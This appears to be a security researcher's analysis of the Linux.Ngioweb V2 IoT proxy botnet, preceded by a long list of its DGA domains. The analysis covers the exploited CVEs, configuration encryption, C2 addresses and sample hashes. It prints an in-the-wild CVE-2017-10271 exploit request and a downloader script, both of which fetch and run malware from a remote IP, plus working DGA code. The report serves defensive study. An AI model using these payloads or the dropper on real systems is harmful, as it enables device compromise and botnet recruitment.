semizunidom-overivimarern-emapikal.name
defibinical-transehemotion.info
defacuheth-precononian.org
microbetacism-probotohive-monoriniless.info
enezurement-minilodolike.com
monobicezish-imarorusion-nonulobed.info
interihecivage-unafufese.name
denafacufy-semibudoder-subobedofy.com
premipimize.org
unumekihood.net
antipusetion.info
ultrakidaness.net
revavonussion.biz
cofuzelike.net
antibutekaful-ultrasavesion.com
misufoneness.org
protudofism.com
microgihility-misaholiship.com
rekucasism.net
imugigetn-postupecer.net
semivutevoly.biz
enesedupan.com
imumidesion-exobavapure.info
interegupance.net
semicivuly-cogicehafy.com
microvonelist.com
irizakehood-misubavision-micronuzement.biz
transafetist.org
microzububical-microlemution.info
postagasage-subacibedary.info
multitacogate-multibimiteship.net
misopurision-emaretunion-macrogamufian.biz
overizupure.org
imovamive.info
mininadeth-revivisency.net
micromedoless.biz
enufagixage.net
micromahuvern.net
noninolish.biz
multihakezeship-misececing.name
inasihite-prodesuless-delizifoship.org
unorukure.name
transovizaful-ilatunition-ultravemokuness.org
exonucigian.name
overarubomage.net
preremahily-cosobihafy-subecarancy.biz
mininemanable-ilahedoless.info
disesebubing-profavodom.biz
inoresipize.com
imufopish.info
minivilolage-ultrabekufy.net
misogatulike-rehigussion.info
interazevese-subacebal.biz
interunanary.org
exudolohood-semivefodom-enocesoment.biz
disetopite-monoximament.biz
deharasion.net
imekixern-postulutetion.name
interinifish-presaxetion.info
undereburency-microxemabuty-colazulous.name
transozezassion-coxegocary.biz
multitesoship-promoroless.info
disecepist-semixidafen.com
semilalufern-imilocision.org
misuxepify-overosulisary.net
irerehist-enakeletor-prexilily.info
minisukufy-prenoculy-overedozetn.net
imifucic.biz
interagapossion-inanusen.com
eminosevic.biz
ileneculion.com
prexahely.name
covigufaship-misuvikist-underoforify.org
prefafepadom.biz
macrokeraleness-irazigoward-prokazivary.net
nonevebofy.com
emuholalike-emoricaship-prexolunedom.name
macrozihixoness.com
rezalorite.net
probepemal-monolotassion-ultrasuxupite.info
transamupiser.com
subulururure.info
cogobetelike-imihoholical.biz
cocefoxancy-interiligor.org
profuretuty.biz
ultranaxafed.name
enomevapian.com
emozivion-transagoxehous-misekoludure.biz
multitakoth-subarasofy-irorututh.com
nonukecaship-iruxivexable-ultracikesihood.com
emikudion-interazelage-monorubifation.name
cohexifeth-unirizofy.com
nonetatamancy-cosucoship.com
unozugovancy-transonagible.net
subukufuward-emobukese.info
ultrapedecable-demepeness.com
prevagazate-unofonism.biz
transodigission-postesopian-antibohibussion.biz
postahusor-refihetous.net
emanixitic.biz
disihariman.net
irazifeship-profucaxidom.info
minisizahood.org
semigehepoty-enilafaly.info
underilugogan.com
emedepous-multihonuship-nonidivism.info
macrosegadage-underolezilize.org
prohimanize.org
semizahixage-recumodiless.info
minimonoship-monodatiless.biz
macroharixahood-exofininic-transufumuful.info
macrotahuzofy-semidofavuless.info
interucepion-emezubalike-redegufive.net
monopurinotion.name
enamexetite-misehutufy.org
antipinoless.name
overofutufish-monoranodom.info
multiruvihood-subaxadopern-overuzetor.com
iribulaward.org
monohuxifetn-monomipekession.name
ultrabicubesion-prelevoged-misenetefify.info
inuxodely-iletabize.org
microxemufate.org
emexecador-postapagilance-pregukaroful.info
enusitofer.com
nonamorive-coruvusoship.net
emeripusion-prozivaxed.net
imozafohetn-postopitezant.com
remenazoment.info
inutedible.com
emogivonive-underofopite.org
imupagath-emerunofy-microxepifaless.name
disugelity-unadulion-transoxilassion.biz
multibokuzision.org
irihalikency-postumemure.net
emetovafance.biz
cohifuxage-ultratifelike-proravihument.biz
overiguvotion.biz
ultracetuness-reditavan-prepuvaful.biz
disomitinure-exudenith.org
pretoxuhoment-ultraduzilike-rekuvepament.name
ultracuvision-imetocalize-conudakure.info
multifutoness.com
misotomonist-underesapeless-interitehassion.info
macrofokabosion-pregulomuful.info
enigupage.net
micromotamity.com
prohutaxament.biz
multihogotical-underaremeful.biz
postonusilan-imisadeth.com
nonomokoship.net
microgumafetion-transoloruful.name
disecidenate-monozudely-inorirer.com
misofesance-underefality-disukasuric.net
exatuduhary-overecabadom-enalafument.info
dekohabeward-microguguhish-misihabian.info
desorecath-nonotofufy.net
emagizese-interocitession.info
enecigese-monozemission.biz
dehefixern.name
degigosiness.net
antihozecission-underucepeless-depudogish.biz
postemaxor-subuvutiship.com
monobukobation-multibacosish.info
transakazese-emetudiber-inemalatant.net
imisupant.info
inokalance.net
subacebify-inerokate-exokerudible.name
interazokable-exomomosion-unozivulity.info
multikuzucafy.com
misumobage.biz
interedixamic.org
exatisical-transasebage.net
eminumage-ultraronihood-emagisusion.org
misapekist.info
macrorasisite.biz
minikumedure-multitikovaship.net
microfocadom-ultraxodaship-subimukuban.name
underarefoful.name
overidabiking-microcuzidism.net
antifonossion-macroroceth-monoxevezion.net
antizedulian-exedeneship.org
irasodelant-cosuzamaness.org
nonuhahify.net
subopuvodate.info
postecibakite-semipehotion-ilagokeful.info
multinosekant-interufixern-misigodepical.name
disodutokical-semigunossion-enacozancy.org
nonapoboship-univehipate-demusuship.com
irabanacion.biz
ineluzocish.com
emesoxufor.name
transegovecant-regegoful.name
dedepecofy-misamobize.biz
covukided-multivekigese.info
overevomify-semituricable-imuxagusian.info
postofugor-misedihency.info
minihezipuward-antikogukoly-minitotoward.net
semidemeheless-multisatehion.name
enamixite.net
nonenukehood-nonipusese.biz
minirodohood-semikimodom-ultraveveship.org
antigefuned.net
imupanarist-postirabance-unuxazure.info
cosaneward.net
microvatuben.com
monosihucument-multimadelate.name
overipomikancy-reketakety-overatahite.org
repinahed-antimipily-macrofaxoward.com
iruhacage.info
macrobikuloship-prepiziless.name
transemecaxite-exizorulive-macrokocaxuness.org
monoroxaty-coditoness-antixeretion.info
postunirancy-emoraboward-misedomuness.org
monotafaty.biz
transotivaless-transemozorancy.net
exodotopal.name
underibuboly-multiguhurity-multisocupoth.net
rezorussion-underaguvitism.net
subobizian.biz
minixakapity-overaxuremian.com
semibufupical-nonefabible.biz
degamufy.com
misevelite.biz
transidivement.info
postofesion.org
irofivunive.biz
disepugassion-enubover-imigogify.org
profatacic.org
imegafivic-interasedekern.org
monotohiciless.name
postefofoment.info
macromovicity-coliziciness-emarifitan.name
macrocebipilike.org
suburusifish-disezulabize.net
nonufekith-prozikitous-exicolasion.biz
postexuletish.org
imidilical.info
ilaromuly-postuvadaty.name
transohunuless-devepotity-inigovipible.org
misuvuboping-disofezify.com
imekocibance.biz
multirigafy-unukazath-imoruxofy.org
rekucenodom-macrovidubohood.com
presifotary-subagidaness-unifiloward.net
semidosabal-prohifosen-irulubuth.net
unozisiship-proxacixite-provapepoment.biz
decikatuward-eximatite-macrotitatous.name
postizomaly-enopidupian.org
antivikogian-resafusument.biz
inehodancy.org
reremuloly-ultravomegance.info
iluceviless-cobesify-misilaxuth.org
probafoloment-multiruvexasion-irodolohood.org
prezunation.name
cosufirith-irurafevese.name
multicitivite-overifisian.org
emeluxiter-underipezoful.name
transonipadable-micromuruculess-transecocevical.net
proludadom-transibisument.info
enubafition-disosaceman.net
subesosify.com
pretasekidom.biz
underiganian-irelonimify-inuxefuful.info
enusesety-disavelen.com
irisamimal-macrofonoth.com
irumanish-disifeneless-postugofodous.com
seminegulate.net
monozibecoly.name
disehohonable-antivosuvant-nonomezed.biz
dekehotosion-antilofotoful.name
macropilepafy-monopanising.org
semilanusement.name
multipahofeward-misemebiness.net
exaxanency-macrokamodith-subelisify.org
nononemolike-iregekoship-recagetism.org
semixufoduful-inaxunition.biz
multizuhaness-misuniziward-prorenanoly.name
underagalussion.name
disemigobancy-antihumument.biz
transicukogan-unedipiness.org
antimuvegancy-semiferisiless.name
comusabish-macroboginision.com
irunukese.biz
transoluvisist-subapivogure-transinebian.com
subezulion.biz
codexutihood-nonopemosion-microhohahish.com
unopihiward-emaduxaness.com
mononedepussion-inumiler-emedepify.com
pronurikous-imunebern-disekiduzary.net
monopukinoful.biz
desizulous.name
overofopiless.name
ultrateresible.info
iladorian-exeripunal.name
overilugoty-macrokegoxure.info
transasudance-monodinaly-cogetamance.info
minixuceth.net
prebavission-transehuvor.net
retaxossion.name
macrosasolike-prezalogity-irinomarage.biz
multigonuvance-overimesetion-transefuzeful.biz
ultrahitacese.info
conadelish.name
mininotonuhood-imitezer-macrobedoship.com
iretosancy.biz
ilotovic.com
monopegality.name
interusabuless-ultranavify-microxapikist.net
semiralobous-antitesenidom-minibomazihood.com
imavabibist-underanagoly.name
transipilukize-rebikeless-interupulission.biz
transocokunite-misomemagian.biz
macropetimufy-irosagish-minisudeward.org
unutexamize-inihorify-subobecoth.net
subicosinan.biz
ultrazotasion.com
prezehiful-conukurern.biz
disuzegite-antisevition.name
codituhish.info
ultrakixuvuship-nonucaculike-semixasihement.biz
overonizetion.info
disegucely-inuberimism.net
antixigeten-nonevinoship-misubinolike.com
monokidobal.com
misevocic-minikanogeness.com
ununacefy-prexefily.info
demunivage-interetimiless.info
minikohivage.name
demafasion.net
emukerufancy-postabiving.net
microcukaxian.com
antitigutite.net
nonafocing.name
enapomiful.biz
comifugor.name
interukadahite-unuzopetn-disimevoxous.org
unorotepize-degekikuward-prevamiful.name
macropoviward-anticodiful.biz
macroholuxufy-emomaceth-misobodefy.org
misevakexic-enomucipary.com
iroridovism.info
interecomeless-disidikission-inonokist.org
emodemozible.name
minidomusion.org
exiheretn-macrozucusion-unuhepian.biz
interurinable-misopitubion.biz
postuxesify.net
nonukefalion-minihekifage.name
macrodibunant-covidugehood.net
exogudipish-ilarazifor-semifurity.info
postiheragic-antizelussion-miniximixetn.biz
overihotoment.name
inovufan.com
rekorikoly-postapohabite-irehiheth.org
resihokument-inedibadom-interukaxobese.com
misidinuward-rehovaful.biz
transahosety-interohexal.net
microfikuty-cozuraness.net
misubipify-regemoziless-disizasahic.com
misapimirese-inifizor.net
misogasous.info
cotosenith-nonekohofion-macrofetuth.org
microrixassion.info
eninazacor-procopament.name
deraxehuward-subazitish.info
postupazety.info
minicakoth.net
misenenunary-multifesakure-transofoxant.com
precurokation-ilalapish.net
semigilitous.com
anticekipic-unetikenancy.biz
enecexodom.info
ultrapoloven-transigamance.com
pretiheful.name
macrodivuward-imizamism-ilahocution.name
minikeseness-misidovate.biz
enolocist-exahazoward-recosifary.com
reroberancy-iraxifous-transevicenern.net
misetepelike-semicadarement-macrokibolike.com
regasoment.name
overafupunern.org
prexuhuled-prebitucossion.info
underavegal-imuduvize.biz
overacuxoping-monodomiment-disoxecing.net
misirepahood-prorolonite.org
microxakeror-microxepation-underuronodant.net
monopikety.name
colanokic-delogisify-cobumuth.com
relacelical-semirehigern.com
subabozihood.org
emeleriward-semimocoful-interifihetion.info
ultramasizeth-rexuricission.info
inepibadom-transexusement-underudokirate.com
relodoful-inazifutor-nonafitipance.name
degakiring-multitamalulike-exosarese.biz
diseburodom.biz
ilivebusion-provovogous-exugikobic.name
inezokussion.info
macrococopish-minituluship-antiluvuless.info
cozafufihood-execuhance-postasahanish.org
microkobotish.com
regofaly.name
disalatible-misubukith.com
subugizobish-postidacage-iruxukical.biz
overupobidom.name
ultratulahood-noneguvive.info
underocukefive.org
subasinufy.com
iresizegal-depufapehood.net
iretokeward-unenecixous.biz
ilivusagage.net
microsihoxical.org
suboxuveness.net
subehefufy.org
antivovavedom-postagoxible.com
semipipedom-deginaship.com
antifahegion.com
emuxehoness-emovoxofency.biz
interulacetn.com
rerenussion-ilezetuxish.org
prexasikable.org
irobusaging-enocegolal.com
antigocossion.biz
enuxagonist-imepehehood-releridom.biz
degixehiness.com
rezedukussion-transaneping.com
semifozussion.info
enehigure-misaxamurist-interexixist.net
nonaxacihood-irebonozish-transevohency.org
imosomable.name
enecimarian-microbifimassion.name
enesuzacity-refopement-transidocodom.biz
postupidic-subedadian-underofoxoment.info
transeguxution-interuhamugism-irihoxeward.net
exivorish.name
dedemify.com
rekitahadom-multipiliship-presidevite.org
monokohohoful-overerukikize.net
propocazify-misahotify-iretesan.name
coparasuship.org
iragopity-overosisement.info
deruzesion.com
suborikapor.biz
enudipern-antixaboly-ultradomovofy.org
antinihiless-multiperediship.net
microtesedom.biz
transukeletn.net
microkisotion.info
ultravixovive-ilohukikish-exopecuhable.biz
overepelument-macropomelike-nonezitiship.org
microdotefize-monobedovite.com
misegisan-interazasoful-ultraxosimen.info
iniricity-monogimikese.net
exifopith-propisuty-macrobiguness.net
resasety-multikobekuth.org
iririmoship-monoxurevance.com
unufazicese-postelagable.org
rexocoful-multiraxovical.biz
denikager-transaderisancy.net
subisivikish-ilurilenan-imisihexist.name
interefifed-nonedapoward-prebonuloly.biz
cogukesuship.com
antikozohotion.name
ilefoxaly-iluxucadize.org
prefadirodom.name
macromezevite-macrozomotoward-suboxezeness.org
repihobary-nonubotath.net
nonixurive.name
inatomeletn.com
imehifoded-derodeward.org
unetolinible-multidofexern-iluhumese.com
exazegetn.info
multikevelike.net
microfidiment-ilolerency-misivezelize.name
minisahimiward-regabokoly-dekezosese.info
iliputobous-microkusession.info
multivepilike-emusoketn-enihenatable.com
imopedahary.info
overimupigish-prozunily.info
ilulohipism-microhasoless.name
underogemement-minifocaman.info
ultrasulahood-iropogision-imomuvuhood.net
rezepuxical-subocinary.info
ultrabesacify-emuferiming.name
underepibible-exarozish.info
transenumument-ultrameresision.org
prokunikency.com
exaduhify-prepexily.info
disugosize-proserahible-emogucern.info
disexeguless.info
inemebous-nonecezancy.biz
enuguvohish.org
rebasotity-postifoner.org
misekozihancy-miniretulelike-anticulevument.biz
transobonetion.biz
overapezor-renihution-interozopoful.name
demexoming-transoratirite-precezerancy.net
prekageren-prodikuzument.name
postufimation.info
postugakive-subodavure.name
demetosith-pronizevission-underogovable.com
antizufossion.info
overifodist-exinutiship-probibalidom.info
detozahood-exehorobify.name
macrohukoxure.info
disigaror.net
subadadutian-underatuzity-imapuxonist.biz
ultraxapohood-unukuxible-inalusacant.org
imidufion-multifaxehood.org
irevitinive-interekemily-devudedefy.com
probekohodom-transohimument.info
multivamision-unabizable-minivifebusion.net
emecazufing.biz
enofelary.net
antivizodidom-underozivuzal.org
semiragotion.biz
ultrataconess-microrogotion.info
ultrahezuveth-nonivocify-unenokith.com
emeciritize.info
minirahision-iroficecic.name
macrofiturive-disabotous-misuxoxoward.com
unimeceth-antifexaty-dexevexoth.net
imuzifuship-antixutoless.name
overumudukist-microfahuhation-undericozist.net
proviburaty-disadufezal.com
imonoroship.net
pretohihotion-macroxerameness-irekiboward.net
unaxadumer-ilufitary.com
subigecilike-remimussion.info
overikelirern.com
emohinan-overekirenion.org
antisizaly-transecegety.name
ilomirism.com
microsuression-ultrabumutive-transisapussion.biz
overorohokic-pretezacian-misilefusion.org
monoxatocan-imavitulency-eniguboring.net
unuzugable.biz
postiduvern.org
micromomabed-semikikefage.net
antimineful-interanosotion-transulicate.com
renavilaty.biz
multigidumable-disefezage-irebekency.name
inugecism.org
ememozian-interapurossion.info
ilecevish.org
antihusiment-macrovarilision-semisoxument.name
minixecumoward-antibevunely.biz
macroguzofy-exuluparical.name
postutasian-emosolosor.name
macromagehood-exarexofion-depetihood.com
misipivixency-transerezucing-monobegofassion.biz
ilizehidom.name
ultrafaruhood-prohudodom-overatopument.info
enurudition-multigidohood-exorovusion.com
misebataness-antifupition.info
cosefuness-antikufeputy-transenuvous.net
prexubupossion.name
ultranucopite-multifevuship.net
profahudom-ultraxediship.org
prexevadom.biz
transipekal.org
monogixition.info
overuletedite-misokorism-enetunan.net
rezobucous-prodotily-ultraleveward.org
imogugomed-ultradomukaship-prodezavadom.info
ultranotohood-mononuzocotion-minipariveness.org
monovuvecish-monohedonaless-ultramurahuship.org
subanomigate-underogozeful.info
ultrafohuward-imuheber-interasiririze.net
imuhuxoth-misefatasive.biz
transosurugen-nonumovern-macroxanulike.org
unofafuhood-misasusomism.biz
enuvahion-nonelipical-interolugor.org
suboserite-underuxafakous-subatihoward.com
prepamovary-iresucefy-emagabive.name
interafuxession-delosorolike.com
unixagihood.com
unasodatite-overugasist-semivobuduty.info
macrovafith.com
ematogafible-interaxologor-iregiding.info
derivacing-iloxeheful-inecemed.org
microseboful-transebisation-degokition.biz
postorabity-miselugific-minizahiward.com
monokacily.name
underucotal-monobunedoless-minikulify.net
receziless-ultradasify-prefazofish.org
monolalession.name
underizonedom-macropodavuhood.net
misopoval.name
underivadant-semibofixoty.info
minipeboxing-deracocify.biz
overumakency-prekozulure.com
exufifision.com
prezalehaly.info
dekasafy-imevinupable.info
coviviship-pronehaless.info
ultratovibuhood-microburodom.info
underucebohical.net
antitegabussion-devumuth-revexorical.com
iritukan-interatadite-misafegoth.com
semibizolument-underotaxive.net
misilaracal-minisomudese.name
cobevahant-minimufocity-cotoxanoth.com
prozapetament.info
underumamotion-interediripite.org
exofecukity.biz
underusimant-unigaverical.info
underarixogage.org
iripabath-irecuboxible.info
underobomipous-imofevazancy.info
dekegexive-derokukith.net
microbigukement-overazoredom.info
postaruxanant.com
remenuty-postexinity.org
irohorafy-antixomafese.org
exanisary-disomugetn-rekamaty.name
interasupukity-emufucoship-semibumaless.info
macronoboship-probihohodom.info
enorasancy-irenagion-underexelozer.net
prevesuxage-prevakomous-exorovage.info
inehegely-enolobocical.net
iranuzulike-subibeneship-misezomor.name
interipurusist-antimafidom-multinedisency.info
overidaturary-antikezuful-dexepovish.name
ultrakorudath-exofabidern-cogenakulike.org
semipodofate-misibogesion-unasobuhood.org
emubicodency-interotupure.net
imetocirian.biz
underunazency-microrisover-antineheless.biz
macrocumubohood-emukafosion-subupenure.info
depifesion-suburinipible-interinokage.com
unihogish.name
minilugovefy.net
semigakitan.net
misuviking-transidodunate.com
antimupacary-unixosaward.com
imizagution-cokivaxoship-emavavism.info
postivikism-prefuvezedom-denihuship.org
irirecupist.biz
cofiresary-dedidigage-multivucaness.com
relarity-inagomese-exaderaward.net
nonusonuth-exifaxufy.net
subinobese-transinacibic.net
exegudous-underitifiment.info
multicupapize.info
posticazalish-emedokician-transezuraless.info
ultranepacihood.net
unorubese-inozoficese.org
unocacish-enoniculy.biz
inakirission-multihigutite-dedafuleship.net
imenazotian-ilesafance.com
anticocacable-imonifion-interapopation.biz
mininovition-underucuxety-transamurizancy.com
emozonous.biz
overofucodom-ultrafizudive-enekaconism.org
recitofuly-multikobepofy.org
semixexiless-ilagamic.org
prerozunodom-interixudoment.biz
underanipetn-imanodidible-ultraropagic.name
multikafenoth-antiguhipassion-multilitebern.info
ultralufetous-underecanagive.net
semihesegite-nonilakal-postubetinese.net
nonepitopible-overozuzate-emuxevive.name
ultrafikuth.org
micronixogage-prerihapian-monomibession.info
transahihancy-semizehogament.info
minihihokuward.net
imenipapary-inubuharist-prebemunedom.name
disixadible-monocirecing.org
exixefugal-inaxedoty.biz
postunolobage-premugossion-dexokacate.name
multizocisehood-nonulafapous.name
ultracimosary.info
enotufassion-minikavunous.biz
inuhamage.net
misulonupism.info
desemamoth-recabalible.org
semixukehify-semihofenoment.name
transaroran-subobukezish.name
macrotaxigian-degoxobance-ilidilant.org
antitamokaless-ilusulussion-inaretiless.name
inelocument-enazobity.net
pretetegize.com
prosimetion-interamexish-misexesency.info
underofogize-iruposision.com
nonopegeker-enorefuty.info
disokehamary.org
unetikuhood.org
nonisuzilant-intererevafian.org
prenukorive-semimelekical-semixuxihement.biz
overaxehous-misugutuhood-nonubetabate.name
ilunomabify-unonebern-devicepant.biz
ilegugize.org
exofiralike-imakefebous-inomaluzed.com
antidavumetn-regulanuty-inenidure.org
exupamify-subixosoth.com
regahagize-antitaliless-underoparossion.name
multicefolike-antilihelite-proxunezate.com
semimuxoment.info
disuhosate-nonasilahood.net
prepevation-postebixish-probunedom.info
</code></pre>
<!--kg-card-end: markdown--> | Background
On June 21, 2019, we published a blog about a Proxy Botnet, Linux.Ngioweb.
On August 4, 2020, we captured a batch of ELF files with zero VT detection, which are variants of Ngioweb.And we just named it V2.
Two weeks later, on August 16, we noticed that 9 Nday vulnerabilities were used to spread Ngioweb V2 samples, involving x86(32/64), ARM(32/64), MIPS(MIPS32/MIPS-III) As well as PPC, Hitachi SH, IBM S/390 and other CPU architectures, this marks the beginning of Ngioweb's attack on IOT devices.
On November 5, 2020, IntezerLabs twittered about a zip archive called "bins.october", which contains 50 Ngioweb samples targeting various linux OS.
With the low low detected rate on VT, and newly added IoT support, we think it is worthing providing a quick update to reflect the key new features with the new variants, so here are some quick outlines.
。
Overview
The main function of the Linux.Ngioweb Bot sample is to implement Back-Connect Proxy on the victim's machine[1].The attacker builds multiple bots into a Proxies Pool and controls it through a double-layer C2 protocol, and then provides a Rotating Reverse Proxy Service.
At present, we have divided Linux.Ngioweb into two versions, V1 and V2. Their core functions are the same. The biggest difference is that V2 puts a lot of information previously stored in plaintext on the stack into one configuration stored in the DATA section, and uses AES encryption.
The main comparison is as follows:
Vulnerabilities
Ngioweb V2 is spread through the flowing vulnerabilities. It can be seen that there is no particular preferred device.
* CVE_2013_3568
* CVE_2019_8387
* CVE_2020_14882
* D-Link Devices - HNAP SOAPAction-Header RCE
* JAWS_DVR_RCE
* NVRmini_cgisys
* Netgear_Voice_GW_RCE
* QNAP_NAS_QPS_SID_RCE
* CVE-2017-10271
Take CVE-2017-10271 as an example, the payload in the wild is as follows:
POST /**t/Co**ortType HTTP/1.1
Host: {}7401
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: text/xml;charset=UTF-8
Content-Length: 564
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/sh</string></void><void index="1"><string>-c</string></void><void index="2"><string>cd /tmp;wget http://94.102.50.143/WSW0;chmod +x WSW0;sh WSW0;rm WSW0</string></void></array><void method="start"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
The corresponding download script is shown below. The function is very simple: download and execute the Ngioweb sample, and then remove itsel.
#!/bin/sh
n="QILU TYEQ CNII WTBK AJYZ NNVY FBRW WSMK VTLE ONRB"
if [ $# -gt 0 ]; then
n=$@
fi
cd /tmp
for a in $n
do
rm $a
wget http://94.102.50.143/$a
chmod +x $a
./$a
done
for a in $n
do
rm -rf $a
done
rm $0
Bot scale
We were able to sinkhole a few of the DGA domains so we could get a picture of how many bots the botnet has recruited. The following graph shows the V1 version of the bot count, about 3k active daily IPs.
Our DNSMon system shows similar numbers on the DGA domain names that has been used.
Linux.Ngioweb V2 new features
V2 samples contain almost all the popular CPU architectures. Here let’s take a look at the X64 architecture.
MD5:ce4c23642878788ecaedd0903663244d
ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped
Packer:None
Lib:uclibc
As mentioned above, the core functions of Ngioweb V2 have not changed. Readers can take a look at our last article[2]. We will focus on the new features of Ngioweb V2 here. In the Ngioweb V1 sample, sensitive resource configuration information such as C2, digital signature public key, report entry, etc. are all protected by Stack Strings Obfuscation technique to prevent security personnel from spotting it at a glance.The V2 sample is made more concealed, and this information is encrypted. At the same time, when the V2 sample report back to its C2, it no longer uses hardcoded config. All these make it more difficult for it to be detected.
New feature 1: AES encryption for configuration information
The Ngioweb V2 Bot sample stores the DGA seed, the number of domains generated by DGA, C2, the public key for data signing, and the entry of reported information in a unified configuration. This configuration uses AES encryption for storage. Decrypt the information when it needs to be used, and destroy it after use, preventing sensitive information from being captured simply by memory dump.
A major feature of Ngioweb is the dynamic generation of constant tables required by encryption and decryption algorithms, which increases the difficulty of analysis by security researchers.
AES encryption uses ECB mode, no padding, the secret key and ciphertext are stored in the DATA section, the first 32 bytes are the secret key, and the next 512 bytes are the ciphertext.
Take the following ciphertext as an example
Decrypt the configuration information, for example, C2 is 185.44.75.125:443, 79.141.168.119:443
New feature 2: DGA
Ngioweb uses the domain generated by DGA as a supplement to hard-coded C2. From V1 to V2 Bot samples, the implementation of DGA has not changed.
The specific implementation is as follows
uint64_t GenSeed(uint32_t& seed, uint32_t mod)
{
uint32_t tmp = 0x41C64E6D * seed + 0x3039;
seed = tmp;
return tmp % mod;
}
string dga(uint32_t& seed)
{
char* HeadBuf[] = { "un", "under", "re", "in", "im", "il", "ir", "en", "em",
"over", "mis", "dis", "pre", "post", "anti","inter",
"sub", "ultra", "non", "de","pro", "trans", "ex",
"macro", "micro", "mini","mono", "multi", "semi", "co" };
char* BodyBufA[] = {"able","ant","ate","age","ance","ancy","an","ary",
"al","en","ency","er","etn", "ed", "ese","ern","ize",
"ify","ing","ish","ity","ion","ian","ism","ist","ic","ical",
"ible","ive","ite","ish","ian","or","ous","ure" };
char* BodyBufB[] = {"dom","hood","less","like","ly","fy","ful","ness",
"ment","sion","ssion","ship","ty","th","tion","ward" };
char* TailBuf[] = { ".net",".info",".com",".biz",".org",".name" };
string BlockBufA = "aeiou";
string BlockBufB = "bcdfghklmnprstvxz";
string domain;
uint32_t dashloop = GenSeed(seed, 3) + 1;
while (dashloop--)
{
domain += HeadBuf[GenSeed(seed, 0x1e)];
int flag = 0;
int i = 0;
if (BlockBufA.find(domain.back()) == string::npos)
flag = 1;
int fillcnt = GenSeed(seed, 0x3) + 4;
while (fillcnt > i)
{
if (flag + i & 1)
domain += BlockBufA[GenSeed(seed, 0x5)];
else
domain += BlockBufB[GenSeed(seed, 0x11)];
i++;
}
if (BlockBufA.find(domain.back()) == string::npos)
domain += BodyBufA[GenSeed(seed, 0x23)];
else
domain += BodyBufB[GenSeed(seed, 0x10)];
if (dashloop != 0)
domain += "-";
}
return domain += TailBuf[GenSeed(seed, 0x6)];
}
In V1, DGA Seed is hard-coded 0x05397FB1, and the total number of domains generated is 300.
In V2, DGA Seed and the total number of domains generated are specified by the configuration.
At present, we have got the following 4 pairs of Seed&Total Count combination, corresponding to the generated DGA domain, see the IOC section.
Seed
Total Count
0x01275c63
0x12c
0x01275c63
0x3e8
0x04bc65bc
0x12c
0x00375d5a
0x400
New feature 3: The C2 reporting entry
In V1, the entry for bot to connect to C2 is defined in the hard-coded/min.js
The resulting packet is as follows
In V2, the entry for bot to connect to C2 is specified by configuration file now.
The resulting packet is as follows
At present, we have got 3 sets of entry information in total.
Report entrance
/min.js
/zvyaga
http://185.44.75.125:443/metric
DNSMon Auto blocking
For customers using our DNSMon feeds, the DGA domains have been blocked automatically.
Contact us
Readers are always welcomed to reach us on twitter, or email to netlab at 360 dot cn.
IOC
Smaple MD5
bdaf967a6aef57d135b0806192884edc
7f26365e8d1e1a6ad8199bdddd4e9b3a
0840951a0c3219db5607754bcdbc1ac1
d29fb0306ee4b8cfe18c339ee42a98f9
305a600d309c1bda9e731803e3efca97
fb469128e67aad899a2b6709cbfe72a6
19020682555fa33ecf98a11fed499ea9
b4e5cecdff73f66786f87c1238912003
2818dfd8337fbb610f8910746c4219d8
d08e539c47100935fb8ba88a384f0305
f8263759c9111641d09c9fac6bcd9186
55ab7aa2ceadb3d30784123f2d534fdf
cc2ae0ccdf0b4ff94e9d8ab3646ecaa2
2b484c7f104fe8160022e04d056d1135
df84b40ac3bd56bd15ab1d8b4a2bc1a7
2d6ea04f1f55471113f37239e5e23b19
a20d3f09eebd4102157ecdebf9557326
4b608985b7f741b0f0ab9f3d59e48f03
492928276181ca030fc2e1099b27beb2
300e68b03d8fbef6ce29de4d386eacf3
4419982c5fb43367203dca14ae6c1311
f8fdf251acc39fdb4f4444fc7ceb1d0e
c2695139e23205b96fb07e7ea963216c
431028b7a672c4167ecc77e36df24236
61783c6433288689a280bb2640e5f2af
3e0088ec332172e42c50dd034b7eaae1
953bd5431f144a976474d7c78de526ec
3dacf45ff17ba5d6018d3f44c0ea4a02
30dcce7dfd26f59dee9895cb6c70d51b
2b7c98eb58062401c8cff9b5fe95b0a3
ff4dbfc96ffce74e5ea057e50e0496e3
2be2ab5752261a733b5267527fe65d44
a375f20090d9a58c66dc22dd37286d34
ce120caed6b72cb89918dd2b329ceeb9
01f50c3fc1223e3f96d28bc4cd2c3e56
5be121ae51e970d4d0a5c08590099d79
fc98d2deb8563292d830ba37bbb243ad
afb782061df074ef2852953f47206aaf
d417f515d24c56e05b9ac17cf6ab2ec3
10824897899469775974122075c14b56
0274956798c61a5eecb12d331835854e
0808dbe61524a6a2a901e6ab2ac66e24
e1b0b6943d0f209e51e6b5b6744e6a54
663e0cf63d6b3f25bb33fea0876f3ef0
052f9c2f465ab33d68957bc25c4e5c0b
04800a25ce6c8d15e553459deec68bb9
a086b7da8aaf7a27b67db00e69eb1b7a
77c9d66e1ace1f840ed0416ab365260e
ebb4b45ce5622d75762f62e631436bb2
ce4c23642878788ecaedd0903663244d
00aa9b52e2f3b6ad4426466d7ca5f523
00b2a36d4070983bab0953ce613d8d8b
0257a639039f86f159bc6a4a39cded34
036bc9217942fd5b15f654b4f5dab24f
05e3369b655e5033d0f74bb3296863b2
09d9c3b5f7cf1fec26f812d5250bfeb1
0ac1705fe969fa6ccd3f449aac008b4d
0f32884f84a366c047b95408316b2c52
10ad3d84b869e383f1e88d5fc134e912
1338e36265e8d45ba7689c918ef9b34a
147b2ea408bef641a2e9d3cb4f7aedb9
16956c0468e6e2b6665ac4bb81af3164
16edc8d0d4be1385e9ddadfc722deae4
178e0c03eb83fb6cebb11d29e0e47ec9
21e37846936908ac90e6802e92d991df
2c5e58573bf1783c4557d71f9f1a04b4
2c7d58b1c5c172f88de7dbc02805eac0
2e953b78a03b430e803bde99bc0c83e3
36578d0dd5685abe6c4ed063221c59d0
37a6966b4092317e0b4079bdf0f5b0a0
39aaf64bd70846d2fe7b77ebc42be8a3
